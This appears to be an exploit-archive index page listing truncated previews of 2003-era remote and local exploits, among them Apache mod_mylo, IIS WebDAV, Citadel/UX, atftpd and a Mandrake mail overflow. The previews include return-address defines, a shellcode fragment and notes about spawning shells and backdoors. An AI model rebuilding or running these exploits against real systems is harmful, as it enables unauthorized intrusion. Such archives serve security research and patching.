shatterSEH2.txt

moderator: I forgot the link :- ========================================================================= = Shattering SEH II = = [email protected] = http://www.security-assessment.com = = Originally posted: July 28, 2003...

Apache 1.3.x mod_mylo - Remote Code Execution

Apache 1.3.x modmylo - Remote Code Execution / Apache + modmylo remote exploit By Carl Livitt / July 2003 carllivitt at hush dot com Public release - Linux and FreeBSD targets. / include include include include include include include include include include include include include include define...

Apache 1.3.x mod_mylo Remote Code Execution Exploit

Exploit for multiple platform in category remote exploits =================================================== Apache 1.3.x modmylo Remote Code Execution Exploit =================================================== / Apache + modmylo remote exploit By Carl Livitt / July 2003 carllivitt at hush dot...

Apache 1.3.x mod_mylo Remote Code Execution Exploit

No description provided by source. / Apache + modmylo remote exploit By Carl Livitt / July 2003 carllivitt at hush dot com Public release - Linux and FreeBSD targets. / include sys/types.h include sys/stat.h include sys/socket.h include net/if.h include netinet/in.h include netinet/tcp.h include...

Citadel/UX BBS 6.07 Remote Exploit

Exploit for linux platform in category remote exploits ================================== Citadel/UX BBS 6.07 Remote Exploit ================================== / Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include...

Citadel/UX BBS 6.07 - Remote Overflow

/ Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include include include include include include // If you change these, things will probably break. define SIZ 4096 define LEN 298 define RET 0xbfffaf20 define CITADELPORT...

CitadelUX BBS 6.07 - Remote Overflow

CitadelUX BBS 6.07 - Remote Overflow / Citadel/UX 6.07 Remote exploit By Carl Livitt, July 2003 / include include include include include include include include include include include include include include // If you change these, things will probably break. define SIZ 4096 define LEN 298 defi...

Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)

Microsoft IIS 5.0 - WebDAV Remote Code Execution 3 xwdav / IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without netcat or telnet and with pretty magic number as RET / include include include include include include include include include define RET 0xc9c9...

Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)

/ IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without netcat or telnet and with pretty magic number as RET / include include include include include include include include include define RET 0xc9c9 define LOADLIBRARYA 0x0100107c define GETPROCADDRESS...

MS Windows WebDav III remote root Exploit (xwdav)

Exploit for unknown platform in category remote exploits ================================================= MS Windows WebDav III remote root Exploit xwdav ================================================= / IIS 5.0 WebDAV Exploit Xnuxer Lab By Schizoprenic, Copyright c 2003 WebDAV exploit without...

Microsoft Windows Media Services - Remote (MS03-022)

Microsoft Windows Media Services - Remote MS03-022 // Windows Media Services Remote Command Execution 2 // v. 1.0 beta // c firew0rker //tN The N0b0D1eS include include include ifdef WIN32 include pragma commentlib, "wsock32" else include include include include include include define SOCKET int...

PoC for Internet Explorer >=5.0 buffer overflow (trivial exploit for hard case).

Dear [email protected], Attached exploit for 1 works with 70 probability on Windows NT 4.0 I didn't tested on different systems and it may differ, I don't care because I only wanted to show code execution IS possible. It works slow and may require few minutes to complete, see explanation...

DSR-korean-elm.pl

DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html shellcode by zillionATsafemode.org ko-elm-2.4h4.1 ELM Mail User Agent, patched for...

Yahoo Messenger 5.5 Remote Exploit (DSR-ducky.c)

No description provided by source. / --- Remote yahoo Messenger V5.5 exploiter on Windows XP --- Dtors Security Research DSR Code by: Rave The buffer looks like this |-----| Fillup x offsetJMP 0x3EIPNOPSSHELLCODE ^^ / include windows.h include stdio.h include stdlib.h include string.h include...

Yahoo Messenger 5.5 Remote Exploit (DSR-ducky.c)

Exploit for unknown platform in category remote exploits ================================================ Yahoo Messenger 5.5 Remote Exploit DSR-ducky.c ================================================ / --- Remote yahoo Messenger V5.5 exploiter on Windows XP --- Dtors Security Research DSR Code...

MS Windows WebDav II (New) Remote Root Exploit

Exploit for unknown platform in category remote exploits ============================================== MS Windows WebDav II New Remote Root Exploit ============================================== // / 29/05/2003 - by Alumni - / / Microsoft IIS WebDAV New Exploit / / spawns shell on port 32768 / /...

Mandrake Linux 8.2 - usrmail Local Overflow

Mandrake Linux 8.2 - usrmail Local Overflow !/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl offset Then enter "." dot and press 'Enter' Example: satan@localhost my$ perl d86mail.pl eip: 0xbffffddd .enter Cc: too long to edit sh-2.05$ $shellcode =...

Mandrake Linux 8.2 - '/usr/mail' Local Overflow

!/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl offset Then enter "." dot and press 'Enter' Example: satan@localhost my$ perl d86mail.pl eip: 0xbffffddd .enter Cc: too long to edit sh-2.05$ $shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"...

Atftpd 0.6 - 'atftpdx.c' Remote Command Execution

/ PoC linux/86 remote exploit against atftpd c gunzip FIXED / include include include include include include include include include include define HEAPSTART 0x080514b4 define HEAPEND 0x080594b4 define BACKDOOR "rfe" / port MUST be 1024 / define NOPNUM 128 / number of nops / define PORT 69 / tft...

Atftpd 0.6 Remote Root Exploit (atftpdx.c)

Exploit for linux platform in category remote exploits ========================================== Atftpd 0.6 Remote Root Exploit atftpdx.c ========================================== / PoC linux/86 remote exploit against atftpd c gunzip FIXED / include include include include include include inclu...